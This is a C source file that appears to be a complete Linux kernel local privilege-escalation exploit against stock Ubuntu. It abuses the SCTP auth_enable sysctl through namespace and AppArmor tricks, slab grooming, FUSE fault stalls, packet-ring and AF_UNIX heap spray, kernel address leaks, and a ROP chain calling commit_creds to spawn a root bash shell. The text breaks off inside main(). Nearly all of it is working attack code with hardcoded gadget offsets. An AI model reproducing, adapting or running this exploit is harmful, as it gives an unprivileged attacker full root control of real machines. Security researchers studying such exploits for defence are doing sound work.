/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "leak.h" #define KERNEL_BASE UINT64_C(0xffffffff81000000) #define UBUNTU_IMAGE_EDGE_BIAS UINT64_C(0x200000) #define UBUNTU_PHYSMAP_EDGE_BIAS UINT64_C(0x80000000) #define CPU1_CEA_PHYS_OFFSET UINT64_C(0x9fd17f58) #define CPU1_PREEMPT_PHYS_OFFSET UINT64_C(0x9fd18030) /* Reused only as target-specific post-primitive machinery. These offsets * are independently frozen for stock Ubuntu 7.0.0-28-generic. */ #define OFF_STACK_PIVOT UINT64_C(0xdd80e7) #define OFF_POP_RDI UINT64_C(0xcf53ec) #define OFF_COMMIT_CREDS UINT64_C(0x48a520) #define OFF_INIT_CRED UINT64_C(0x2a15b80) #define OFF_ZERO_DWORD_POP_RBP UINT64_C(0x828006) #define OFF_KPTI_RETURN UINT64_C(0x1194) #define CHILDREN 400 #define TARGET_STRIDE 20 #define FDS_PER_TARGET 1 #define WRITER_COUNT CHILDREN #define CHILD_STACK (64 * 1024) #define RING_BLOCK (32 * 1024) #define RING_BLOCKS_PER_FD 8 #define RING_COUNT 1024 #define UNIX_FRAG_LINEAR 3616 #define UNIX_FRAG_COUNT 1024 #define GROOM_SOCKETS 240 #define POST_SOCKETS 20 #define RECYCLE_SOCKETS 400 #define RECYCLE_PASSES 1 #define GUARD_SOCKETS_PER_CPU 400 #define CEA_SEEDER_COUNT 64 #define RCU_WAIT_SECONDS 15 #define NETNS_FD_BASE 5000 #define SCTPV6_SLOT 1600 #define SCTPV6_OBJECT 1568 #define SOCK_PROT_OFF 0x28 #define SCTP_EP_OFF 0x430 #define PROTO_RELEASE_CB_OFF 0xa0 #define ENDPOINT_AUTH_OFF 0x102 enum { CMD_WAIT = 0, CMD_OPEN = 1, CMD_EXIT = 2, }; struct child_control { atomic_int command; atomic_int opened; pid_t pid; int index; }; struct fd_message { int index; }; struct spray_sync { atomic_int go; atomic_int ready; atomic_int progress; }; struct fault_sync { atomic_int seen; int fuse_fd; void *fault_pages; atomic_uint_fast64_t unique[CHILDREN]; atomic_int pending[CHILDREN]; atomic_int done[CHILDREN]; atomic_long result[CHILDREN]; int order[CHILDREN]; }; struct writer_argument { int fd; int index; }; static struct child_control *controls; static int rights_sock[2]; static void *child_stacks; static atomic_int writers_stop; static atomic_int stalled_ready; static atomic_int writer_launch; static atomic_int writers_entered; static atomic_int root_claimed; static struct spray_sync *spray_sync; static struct fault_sync fault_sync; static pid_t packet_spray_pid = -1; static pid_t cea_seeder_pids[CEA_SEEDER_COUNT]; static int guard_fds[2][GUARD_SOCKETS_PER_CPU]; static uint64_t kernel_slide; static uint64_t physmap_base; static uint64_t cea; static uint64_t user_cs; static uint64_t user_ss; static uint64_t user_rflags; static uint64_t user_rsp; static void *user_stack; static uint64_t rop_pivot; struct cea_regs15_payload { uint64_t q[15]; }; static struct cea_regs15_payload cea_payload __attribute__((used)); static void die(const char *fmt, ...) { va_list args; va_start(args, fmt); vfprintf(stderr, fmt, args); va_end(args); fputc('\n', stderr); exit(EXIT_FAILURE); } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) die("sched_setaffinity(%d): %s", cpu, strerror(errno)); } static int futex_wait_int(atomic_int *word, int value) { return syscall(SYS_futex, (int *)word, FUTEX_WAIT, value, NULL, NULL, 0); } static void futex_wake_all(atomic_int *word) { (void)syscall(SYS_futex, (int *)word, FUTEX_WAKE, INT32_MAX, NULL, NULL, 0); } static void wait_until_not(atomic_int *word, int value) { while (atomic_load_explicit(word, memory_order_acquire) == value) { if (futex_wait_int(word, value) < 0 && errno != EAGAIN && errno != EINTR) die("futex wait: %s", strerror(errno)); } } static void write_all(int fd, const void *buffer, size_t length) { const unsigned char *cursor = buffer; while (length) { ssize_t done = write(fd, cursor, length); if (done < 0) { if (errno == EINTR) continue; die("write: %s", strerror(errno)); } cursor += done; length -= (size_t)done; } } static void write_text(const char *path, const char *text) { int fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) die("open %s: %s", path, strerror(errno)); write_all(fd, text, strlen(text)); close(fd); } static void change_profile(const char *name) { char request[256]; int fd; int length; length = snprintf(request, sizeof(request), "changeprofile %s", name); if (length < 0 || (size_t)length >= sizeof(request)) die("format AppArmor request"); fd = open("/proc/self/attr/current", O_WRONLY | O_CLOEXEC); if (fd < 0) die("open AppArmor current: %s", strerror(errno)); write_all(fd, request, (size_t)length); close(fd); } static void enter_private_user_net_namespace(void) { char map[64]; uid_t uid = getuid(); gid_t gid = getgid(); if (geteuid() == 0) die("run directly as uid/gid 65534, not root"); change_profile("/usr/lib/snapd/snap-confine"); change_profile("plasmashell"); if (unshare(CLONE_NEWUSER) < 0) die("unshare user: %s", strerror(errno)); write_text("/proc/self/setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", uid); write_text("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1\n", gid); write_text("/proc/self/gid_map", map); if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) die("become namespace root: %s", strerror(errno)); if (unshare(CLONE_NEWNET) < 0) die("unshare net: %s", strerror(errno)); printf("[+] stock profile transition and private namespace uid=%u gid=%u\n", (unsigned)getuid(), (unsigned)getgid()); } static int send_one_fd(int socket_fd, int fd, int index) { char control[CMSG_SPACE(sizeof(int))] = { 0 }; struct fd_message data = { .index = index }; struct iovec iov = { .iov_base = &data, .iov_len = sizeof(data) }; struct msghdr message = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = control, .msg_controllen = sizeof(control), }; struct cmsghdr *cmsg = CMSG_FIRSTHDR(&message); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; cmsg->cmsg_len = CMSG_LEN(sizeof(int)); memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd)); return sendmsg(socket_fd, &message, 0); } static int receive_one_fd(int socket_fd, int *index) { char control[CMSG_SPACE(sizeof(int))] = { 0 }; struct fd_message data; struct iovec iov = { .iov_base = &data, .iov_len = sizeof(data) }; struct msghdr message = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = control, .msg_controllen = sizeof(control), }; struct cmsghdr *cmsg; int fd; if (recvmsg(socket_fd, &message, 0) != (ssize_t)sizeof(data)) die("recvmsg rights: %s", strerror(errno)); cmsg = CMSG_FIRSTHDR(&message); if (!cmsg || cmsg->cmsg_level != SOL_SOCKET || cmsg->cmsg_type != SCM_RIGHTS) die("bad rights message"); memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd)); *index = data.index; return fd; } static int namespace_child(void *argument) { struct child_control *control = argument; pin_cpu(0); wait_until_not(&control->command, CMD_WAIT); if (atomic_load(&control->command) == CMD_EXIT) _exit(0); for (int i = 0; i < FDS_PER_TARGET; i++) { int fd = open("/proc/sys/net/sctp/auth_enable", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("child open auth_enable"); _exit(10); } if (send_one_fd(rights_sock[1], fd, control->index) < 0) _exit(11); close(fd); } atomic_store_explicit(&control->opened, 1, memory_order_release); futex_wake_all(&control->opened); while (atomic_load_explicit(&control->command, memory_order_acquire) != CMD_EXIT) { int old = atomic_load(&control->command); (void)futex_wait_int(&control->command, old); } _exit(0); } static void create_namespace_farm(void) { for (int i = 0; i < CHILDREN; i++) { void *top = (unsigned char *)child_stacks + (size_t)(i + 1) * CHILD_STACK; pid_t pid; controls[i].index = i; atomic_init(&controls[i].command, CMD_WAIT); atomic_init(&controls[i].opened, 0); pid = clone(namespace_child, top, CLONE_NEWNET | SIGCHLD, &controls[i]); if (pid < 0) die("clone child %d: %s", i, strerror(errno)); controls[i].pid = pid; } printf("[+] created %d stock child network namespaces\n", CHILDREN); } static void command_child(int index, int command) { atomic_store_explicit(&controls[index].command, command, memory_order_release); futex_wake_all(&controls[index].command); } static void prepare_user_return(void) { user_stack = mmap((void *)UINT64_C(0x1fff0000), 0x20000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, -1, 0); if (user_stack == MAP_FAILED) die("mmap return stack: %s", strerror(errno)); /* The callback runs with a non-zero kernel preempt count. Populate every * return-stack PTE now so the first user-mode push cannot require a * sleeping anonymous-page allocation after the iret. */ memset(user_stack, 0, 0x20000); user_rsp = UINT64_C(0x20000008); asm volatile("mov %%cs, %0\n\t" "mov %%ss, %1\n\t" "pushfq\n\t" "pop %2" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory"); } static inline long raw_syscall1(long number, long argument) { long result; asm volatile("syscall" : "=a"(result) : "a"(number), "D"(argument) : "rcx", "r11", "memory"); return result; } static inline long raw_syscall2(long number, long argument1, long argument2) { long result; asm volatile("syscall" : "=a"(result) : "a"(number), "D"(argument1), "S"(argument2) : "rcx", "r11", "memory"); return result; } static inline long raw_syscall3(long number, long argument1, long argument2, long argument3) { long result; asm volatile("syscall" : "=a"(result) : "a"(number), "D"(argument1), "S"(argument2), "d"(argument3) : "rcx", "r11", "memory"); return result; } __attribute__((noreturn)) static void post_root(void) { static char bash_path[] = "/bin/bash"; static char bash_arg0[] = "bash"; static char bash_arg1[] = "-i"; static char *const bash_argv[] = { bash_arg0, bash_arg1, NULL }; static char *const bash_envp[] = { NULL }; static char fuse_mount[] = "/tmp/_neb-fuse"; static const char success[] = "\n[SUCCESS] stock Ubuntu root; starting /bin/bash -i\n"; static const char failure[] = "execve /bin/bash failed\n"; int expected = 0; /* The CEA process and packet spray were forked after this thread existed, * so ordinary data/TLS pages are COW-protected. The forged callback * chain has already restored preempt_count before returning here. Claim * exactly one winning writer; execve from that thread then destroys every * other thread in this process while preserving the original terminal. */ if (!atomic_compare_exchange_strong_explicit(&root_claimed, &expected, 1, memory_order_acq_rel, memory_order_acquire)) { (void)raw_syscall1(SYS_exit, 0); __builtin_unreachable(); } /* All other writers are still blocked on distinct FUSE pages. Tear down * the task-owned spray/CEA helpers and the FUSE connection before execve, * so no second stale callback can race the interactive root shell. */ if (packet_spray_pid > 0) (void)raw_syscall2(SYS_kill, packet_spray_pid, SIGKILL); for (int i = 0; i < CEA_SEEDER_COUNT; i++) if (cea_seeder_pids[i] > 0) (void)raw_syscall2(SYS_kill, cea_seeder_pids[i], SIGKILL); (void)raw_syscall2(SYS_umount2, (long)(uintptr_t)fuse_mount, MNT_DETACH); (void)raw_syscall1(SYS_close, fault_sync.fuse_fd); (void)raw_syscall3(SYS_write, STDOUT_FILENO, (long)(uintptr_t)success, sizeof(success) - 1); (void)raw_syscall3(SYS_execve, (long)(uintptr_t)bash_path, (long)(uintptr_t)bash_argv, (long)(uintptr_t)bash_envp); (void)raw_syscall3(SYS_write, STDERR_FILENO, (long)(uintptr_t)failure, sizeof(failure) - 1); (void)raw_syscall1(SYS_exit_group, 1); __builtin_unreachable(); } static void fill_fuse_attr(struct fuse_attr *attr, uint64_t inode, uint32_t mode) { memset(attr, 0, sizeof(*attr)); attr->ino = inode; attr->size = inode == FUSE_ROOT_ID ? 0 : (uint64_t)CHILDREN * 4096; attr->blocks = inode == FUSE_ROOT_ID ? 0 : (uint64_t)CHILDREN * 8; attr->mode = mode; attr->nlink = inode == FUSE_ROOT_ID ? 2 : 1; attr->uid = 0; attr->gid = 0; attr->blksize = 4096; } static void fuse_reply(uint64_t unique, const void *body, size_t body_size) { unsigned char reply[sizeof(struct fuse_out_header) + 4096]; struct fuse_out_header *header = (struct fuse_out_header *)reply; if (body_size > sizeof(reply) - sizeof(*header)) die("oversize FUSE reply"); header->len = (uint32_t)(sizeof(*header) + body_size); header->error = 0; header->unique = unique; if (body_size) memcpy(reply + sizeof(*header), body, body_size); write_all(fault_sync.fuse_fd, reply, header->len); } static void fuse_reply_error(uint64_t unique, int error) { struct fuse_out_header header = { .len = sizeof(header), .error = -error, .unique = unique, }; write_all(fault_sync.fuse_fd, &header, sizeof(header)); } static void *fuse_server_thread(void *unused) { unsigned char request[16384]; (void)unused; pin_cpu(0); for (;;) { ssize_t got = read(fault_sync.fuse_fd, request, sizeof(request)); struct fuse_in_header *input = (struct fuse_in_header *)request; if (got < 0 && (errno == EINTR || errno == EAGAIN || errno == EPERM)) { /* Before mount(2) attaches the freshly opened /dev/fuse fd, * fuse_dev_read() reports EPERM instead of blocking. */ if (errno == EPERM) usleep(1000); continue; } if (got < (ssize_t)sizeof(*input)) die("read FUSE request got=%zd errno=%d (%s)", got, errno, strerror(errno)); if (input->opcode != FUSE_READ) dprintf(STDOUT_FILENO, "[.] FUSE opcode=%u node=%llu len=%zd\n", input->opcode, (unsigned long long)input->nodeid, got); switch (input->opcode) { case FUSE_INIT: { struct fuse_init_in *init_in = (void *)(input + 1); struct fuse_init_out output; memset(&output, 0, sizeof(output)); output.major = FUSE_KERNEL_VERSION; output.minor = init_in->minor < FUSE_KERNEL_MINOR_VERSION ? init_in->minor : FUSE_KERNEL_MINOR_VERSION; output.max_readahead = init_in->max_readahead; output.max_background = CHILDREN + 32; output.congestion_threshold = CHILDREN + 16; output.max_write = 4096; output.time_gran = 1; output.max_pages = 1; fuse_reply(input->unique, &output, sizeof(output)); break; } case FUSE_LOOKUP: { struct fuse_entry_out output; memset(&output, 0, sizeof(output)); output.nodeid = 2; output.generation = 1; output.entry_valid = 60; output.attr_valid = 60; fill_fuse_attr(&output.attr, 2, S_IFREG | 0444); fuse_reply(input->unique, &output, sizeof(output)); break; } case FUSE_GETATTR: { struct fuse_attr_out output; memset(&output, 0, sizeof(output)); output.attr_valid = 60; fill_fuse_attr(&output.attr, input->nodeid, input->nodeid == FUSE_ROOT_ID ? S_IFDIR | 0555 : S_IFREG | 0444); fuse_reply(input->unique, &output, sizeof(output)); break; } case FUSE_OPEN: { struct fuse_open_out output = { .fh = 1, .open_flags = FOPEN_KEEP_CACHE, }; fuse_reply(input->unique, &output, sizeof(output)); break; } case FUSE_READ: { struct fuse_read_in *read_input = (void *)(input + 1); uint64_t page = read_input->offset / 4096; int order; if (page >= CHILDREN || read_input->offset % 4096) die("unexpected FUSE read offset %#llx", (unsigned long long)read_input->offset); atomic_store_explicit(&fault_sync.unique[page], input->unique, memory_order_relaxed); atomic_store_explicit(&fault_sync.pending[page], 1, memory_order_relaxed); order = atomic_load_explicit(&fault_sync.seen, memory_order_relaxed); if (order >= CHILDREN) die("too many FUSE read requests"); fault_sync.order[order] = (int)page; atomic_store_explicit(&fault_sync.seen, order + 1, memory_order_release); futex_wake_all(&fault_sync.seen); break; } case FUSE_STATFS: { struct fuse_statfs_out output; memset(&output, 0, sizeof(output)); output.st.bsize = 4096; output.st.frsize = 4096; output.st.namelen = 255; fuse_reply(input->unique, &output, sizeof(output)); break; } case FUSE_FORGET: break; case FUSE_RELEASE: case FUSE_FLUSH: fuse_reply(input->unique, NULL, 0); break; default: fuse_reply_error(input->unique, ENOSYS); break; } } return NULL; } static void prepare_fault_stall(pthread_t *server_thread) { char mount_options[160]; int file_fd; atomic_init(&fault_sync.seen, 0); for (int i = 0; i < CHILDREN; i++) { atomic_init(&fault_sync.unique[i], 0); atomic_init(&fault_sync.pending[i], 0); atomic_init(&fault_sync.done[i], 0); atomic_init(&fault_sync.result[i], LONG_MIN); } if (unshare(CLONE_NEWNS) < 0) die("unshare mount namespace: %s", strerror(errno)); if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0) die("make mounts private: %s", strerror(errno)); (void)mkdir("/tmp/_neb-fuse", 0700); fault_sync.fuse_fd = open("/dev/fuse", O_RDWR | O_CLOEXEC); if (fault_sync.fuse_fd < 0) die("open /dev/fuse: %s", strerror(errno)); if (pthread_create(server_thread, NULL, fuse_server_thread, NULL)) die("pthread_create FUSE server"); snprintf(mount_options, sizeof(mount_options), "fd=%d,rootmode=40000,user_id=0,group_id=0,max_read=4096", fault_sync.fuse_fd); if (mount("_nebusec__", "/tmp/_neb-fuse", "fuse", MS_NOSUID | MS_NODEV, mount_options) < 0) die("mount FUSE stall: %s", strerror(errno)); file_fd = open("/tmp/_neb-fuse/_nebu", O_RDONLY | O_CLOEXEC); if (file_fd < 0) die("open FUSE stall file: %s", strerror(errno)); fault_sync.fault_pages = mmap(NULL, (size_t)CHILDREN * 4096, PROT_READ, MAP_PRIVATE, file_fd, 0); close(file_fd); if (fault_sync.fault_pages == MAP_FAILED) die("mmap FUSE stall file: %s", strerror(errno)); } static void *stalled_writer_thread(void *argument) { struct writer_argument *writer = argument; char name[16]; int fd = writer->fd; ssize_t result; pin_cpu(1); snprintf(name, sizeof(name), "f8-w%03d", writer->index); (void)prctl(PR_SET_NAME, name, 0, 0, 0); asm volatile("mov %0, %%r15" : : "r"(rop_pivot) : "r15", "memory"); if (lseek(fd, 0, SEEK_SET) < 0) die("stalled writer lseek: %s", strerror(errno)); atomic_fetch_add_explicit(&stalled_ready, 1, memory_order_release); futex_wake_all(&stalled_ready); wait_until_not(&writer_launch, 0); atomic_fetch_add_explicit(&writers_entered, 1, memory_order_release); futex_wake_all(&writers_entered); result = write(fd, (unsigned char *)fault_sync.fault_pages + (size_t)writer->index * 4096, 2); atomic_store_explicit(&fault_sync.result[writer->index], result, memory_order_release); atomic_store_explicit(&fault_sync.done[writer->index], 1, memory_order_release); futex_wake_all(&fault_sync.done[writer->index]); return NULL; } __attribute__((naked, noreturn)) static void spin_cea_payload(void) { asm volatile( "1: lea cea_payload(%rip), %rax\n\t" "mov 0x00(%rax), %r15\n\t" "mov 0x08(%rax), %r14\n\t" "mov 0x10(%rax), %r13\n\t" "mov 0x18(%rax), %r12\n\t" "mov 0x20(%rax), %rbp\n\t" "mov 0x28(%rax), %rbx\n\t" "mov 0x30(%rax), %r11\n\t" "mov 0x38(%rax), %r10\n\t" "mov 0x40(%rax), %r9\n\t" "mov 0x48(%rax), %r8\n\t" "mov 0x58(%rax), %rcx\n\t" "mov 0x60(%rax), %rdx\n\t" "mov 0x68(%rax), %rsi\n\t" "mov 0x70(%rax), %rdi\n\t" "mov 0x50(%rax), %rax\n\t" /* Keep the task stackless after readiness notification. User RSP may * legally hold a kernel-canonical value while this loop touches no * stack; the next local timer entry then stores the pivot in the CEA * pt_regs->sp slot used by the forged release_cb. */ "mov %r15, %rsp\n\t" /* A timer interrupt preserves all GPRs in CPU1's entry-stack * pt_regs. SYSCALL cannot be used because it clobbers rcx/r11. */ "2: pause\n\t" "jmp 2b\n\t"); } __attribute__((noreturn)) static void run_cea_seeder(int ready_fd) { char ready = 'S'; close(fault_sync.fuse_fd); pin_cpu(1); if (write(ready_fd, &ready, 1) != 1) _exit(12); spin_cea_payload(); } static void fill_fake_sctpv6(void *mapping) { uint64_t pop_rdi = KERNEL_BASE + kernel_slide + OFF_POP_RDI; uint64_t init_cred = KERNEL_BASE + kernel_slide + OFF_INIT_CRED; uint64_t commit_creds = KERNEL_BASE + kernel_slide + OFF_COMMIT_CREDS; uint64_t zero_dword_pop_rbp = KERNEL_BASE + kernel_slide + OFF_ZERO_DWORD_POP_RBP; uint64_t kpti_return = KERNEL_BASE + kernel_slide + OFF_KPTI_RETURN; uint64_t cpu1_preempt = physmap_base + CPU1_PREEMPT_PHYS_OFFSET; /* The leaked CPU1 CEA alias names pt_regs->sp. The stackless seeder puts * the pivot in that exact interrupt-frame slot. */ uint64_t cfh_slot = cea; uint64_t fake_proto = cfh_slot - PROTO_RELEASE_CB_OFF; uint64_t harmless_ep = cfh_slot + 0x78 - ENDPOINT_AUTH_OFF; memset(mapping, 0, RING_BLOCK); for (size_t offset = 0; offset + SCTPV6_OBJECT <= RING_BLOCK; offset += SCTPV6_SLOT) { unsigned char *object = (unsigned char *)mapping + offset; uint64_t *chain = (uint64_t *)object; /* The unaligned pivot is push rdi; pop rsp followed by add rsp,0x10, * six pops and a return thunk. Its first controlled return slot is * therefore object+0x40. */ chain[8] = pop_rdi; chain[9] = init_cred; chain[10] = commit_creds; /* release_sock reaches the callback with preempt_count 0x202. Clear * exactly that 32-bit per-CPU field without calling the scheduler while * RSP is backed by the packet-ring page. The target gadget consumes one * dummy RBP, clears no adjacent per-CPU state, and returns normally. */ chain[11] = pop_rdi; chain[12] = cpu1_preempt; chain[13] = zero_dword_pop_rbp; chain[14] = 0; chain[15] = kpti_return; /* swapgs_restore_regs...+0x24 pops 15 registers and skips * orig_ax before consuming this iret frame. */ chain[32] = (uint64_t)(uintptr_t)post_root; chain[33] = user_cs; chain[34] = user_rflags; chain[35] = user_rsp; chain[36] = user_ss; memcpy(object + SOCK_PROT_OFF, &fake_proto, sizeof(fake_proto)); memcpy(object + SCTP_EP_OFF, &harmless_ep, sizeof(harmless_ep)); } } static int allocate_packet_ring(void **mapping) { struct tpacket_req request = { .tp_block_size = RING_BLOCK, .tp_block_nr = RING_BLOCKS_PER_FD, .tp_frame_size = 2048, .tp_frame_nr = RING_BLOCKS_PER_FD * RING_BLOCK / 2048, }; int version = TPACKET_V1; int fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL)); if (fd < 0) return -1; if (setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0 || setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &request, sizeof(request)) < 0) { close(fd); return -1; } *mapping = mmap(NULL, RING_BLOCKS_PER_FD * RING_BLOCK, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (*mapping == MAP_FAILED) { close(fd); return -1; } for (int i = 0; i < RING_BLOCKS_PER_FD; i++) fill_fake_sctpv6((unsigned char *)*mapping + i * RING_BLOCK); return fd; } __attribute__((noreturn)) static void packet_spray_process(uint64_t pivot) { int fds[RING_COUNT]; void *maps[RING_COUNT]; int unix_fds[UNIX_FRAG_COUNT ? UNIX_FRAG_COUNT : 1][2] __attribute__((unused)); unsigned char *frag_buffer; struct iovec frag_iov; struct msghdr frag_message; size_t frag_length = UNIX_FRAG_LINEAR + RING_BLOCK; int unix_made = 0; int made; (void)pivot; close(fault_sync.fuse_fd); pin_cpu(0); atomic_store_explicit(&spray_sync->ready, 1, memory_order_release); futex_wake_all(&spray_sync->ready); wait_until_not(&spray_sync->go, 0); /* A 3,616-byte skb linear area leaves one exact 32-KiB page fragment. * AF_UNIX consumes freshly returned order-3 pages directly from CPU0's * page-fragment cache before the broader packet-ring sweep. */ frag_buffer = mmap(NULL, frag_length, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (frag_buffer == MAP_FAILED) die("mmap AF_UNIX fragment payload: %s", strerror(errno)); memset(frag_buffer, 0, UNIX_FRAG_LINEAR); fill_fake_sctpv6(frag_buffer + UNIX_FRAG_LINEAR); frag_iov.iov_base = frag_buffer; frag_iov.iov_len = frag_length; memset(&frag_message, 0, sizeof(frag_message)); frag_message.msg_iov = &frag_iov; frag_message.msg_iovlen = 1; #if UNIX_FRAG_COUNT for (int i = 0; i < UNIX_FRAG_COUNT; i++) { if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, unix_fds[i]) < 0) continue; if (sendmsg(unix_fds[i][0], &frag_message, MSG_NOSIGNAL) != (ssize_t)frag_length) { close(unix_fds[i][0]); close(unix_fds[i][1]); continue; } unix_made++; } #endif dprintf(STDOUT_FILENO, "[+] AF_UNIX retained %d exact order-3 fragments\n", unix_made); made = 0; for (int i = 0; i < RING_COUNT; i++) { fds[i] = allocate_packet_ring(&maps[i]); if (fds[i] >= 0) made += RING_BLOCKS_PER_FD; atomic_store_explicit(&spray_sync->progress, i + 1, memory_order_release); } dprintf(STDOUT_FILENO, "[+] packet spray retained %d order-3 blocks\n", made); for (;;) asm volatile("pause" : : : "memory"); } static void *recycle_sctpv6_cpu(void *argument) { int cpu = *(int *)argument; int fds[RECYCLE_SOCKETS]; pin_cpu(cpu); for (int i = 0; i < RECYCLE_SOCKETS; i++) { fds[i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132); if (fds[i] < 0) die("SCTPv6 CPU%d recycle socket %d: %s", cpu, i, strerror(errno)); } for (int i = 0; i < RECYCLE_SOCKETS; i++) close(fds[i]); return NULL; } static void *retain_sctpv6_guards_cpu(void *argument) { int cpu = *(int *)argument; pin_cpu(cpu); for (int i = 0; i < GUARD_SOCKETS_PER_CPU; i++) { guard_fds[cpu][i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132); if (guard_fds[cpu][i] < 0) die("SCTPv6 CPU%d guard socket %d: %s", cpu, i, strerror(errno)); } return NULL; } int main(void) { struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 }; pthread_t fuse_thread; pthread_t stalled_threads[CHILDREN]; pthread_attr_t stalled_attr; struct writer_argument writer_arguments[CHILDREN]; int target_fds[WRITER_COUNT]; int target_count = 0; int preload; int groom_fds[GROOM_SOCKETS]; int post_fds[POST_SOCKETS]; pthread_t recycler_threads[2]; int recycler_cpus[2] = { 0, 1 }; int seeder_ready[2]; uint64_t pivot; char seeder_byte; setvbuf(stdout, NULL, _IONBF, 0); atomic_init(&root_claimed, 0); if (setrlimit(RLIMIT_NOFILE, &nofile) < 0) die("setrlimit: %s", strerror(errno)); kernel_slide = leak_image_slide_checked() + UBUNTU_IMAGE_EDGE_BIAS; /* On this stock Ubuntu image the broad three-slot PREFETCH edge is two * 1-GiB slots above page_offset_base. This fixed correction was checked * across fresh boots; the exploit itself still uses only the unprivileged * timing primitive. */ physmap_base = leak_phys_map_base_stable(0) - UBUNTU_PHYSMAP_EDGE_BIAS; cea = physmap_base + CPU1_CEA_PHYS_OFFSET; printf("[+] slide=%#llx physmap=%#llx CPU1-CEA=%#llx\n", (unsigned long long)kernel_slide, (unsigned long long)physmap_base, (unsigned long long)cea); prepare_user_return(); enter_private_user_net_namespace(); pin_cpu(0); controls = mmap(NULL, sizeof(*controls) * CHILDREN, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); child_stacks = mmap(NULL, (size_t)CHILD_STACK * CHILDREN, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); if (controls == MAP_FAILED || child_stacks == MAP_FAILED) die("mmap namespace farm"); spray_sync = mmap(NULL, sizeof(*spray_sync), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (spray_sync == MAP_FAILED) die("mmap spray sync"); atomic_init(&spray_sync->go, 0); atomic_init(&spray_sync->ready, 0); atomic_init(&spray_sync->progress, 0); if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, rights_sock) < 0) die("socketpair rights: %s", strerror(errno)); /* This direct protocol socket is the stock request_module path. */ preload = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132); if (preload < 0) die("natural SCTP autoload: %s", strerror(errno)); close(preload); /* Fill old freelists and allocate twelve full same-type slabs. */ for (int i = 0; i < GROOM_SOCKETS; i++) { groom_fds[i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132); if (groom_fds[i] < 0) die("SCTPv6 groom socket %d: %s", i, strerror(errno)); } /* Forty consecutive control sockets contain at least one complete * 20-object slab regardless of the first slot's unknown alignment. */ create_namespace_farm(); for (int i = 0; i < POST_SOCKETS; i++) { post_fds[i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132); if (post_fds[i] < 0) die("SCTPv6 post socket %d: %s", i, strerror(errno)); } for (int i = 0; i < CHILDREN; i++) { target_fds[i] = -1; command_child(i, CMD_OPEN); } while (target_count < CHILDREN) { int index; int fd = receive_one_fd(rights_sock[0], &index); if (index < 0 || index >= CHILDREN || target_fds[index] >= 0) die("unexpected sysctl rights child %d", index); target_fds[index] = fd; target_count++; } printf("[+] retained auth_enable descriptors for %d victims\n", CHILDREN); /* Free one ordinary socket from each of twelve earlier slabs. These * partial slabs put the node above min_partial before a victim-only slab * becomes completely empty. */ for (int i = 0; i < GROOM_SOCKETS; i += TARGET_STRIDE) { close(groom_fds[i]); groom_fds[i] = -1; } /* These frees are endpoint-RCU deferred. They must reach the partial * list before the victim-only slabs become empty, otherwise SLUB retains * those empty slabs below min_partial instead of returning their pages. */ sleep(RCU_WAIT_SECONDS); printf("[+] filled SCTPv6 and seeded %d distinct partial slabs\n", GROOM_SOCKETS / TARGET_STRIDE); pivot = KERNEL_BASE + kernel_slide + OFF_STACK_PIVOT; rop_pivot = pivot; for (size_t i = 0; i < sizeof(cea_payload.q) / sizeof(cea_payload.q[0]); i++) cea_payload.q[i] = pivot; prepare_fault_stall(&fuse_thread); atomic_init(&stalled_ready, 0); atomic_init(&writer_launch, 0); atomic_init(&writers_entered, 0); atomic_init(&writers_stop, 0); if (pthread_attr_init(&stalled_attr) || pthread_attr_setstacksize(&stalled_attr, 64 * 1024)) die("configure stalled writer stack"); for (int i = 0; i < CHILDREN; i++) { writer_arguments[i].fd = target_fds[i]; writer_arguments[i].index = i; if (pthread_create(&stalled_threads[i], &stalled_attr, stalled_writer_thread, &writer_arguments[i])) die("pthread_create stalled writer %d", i); } pthread_attr_destroy(&stalled_attr); while (atomic_load_explicit(&stalled_ready, memory_order_acquire) < CHILDREN) usleep(1000); /* Exit 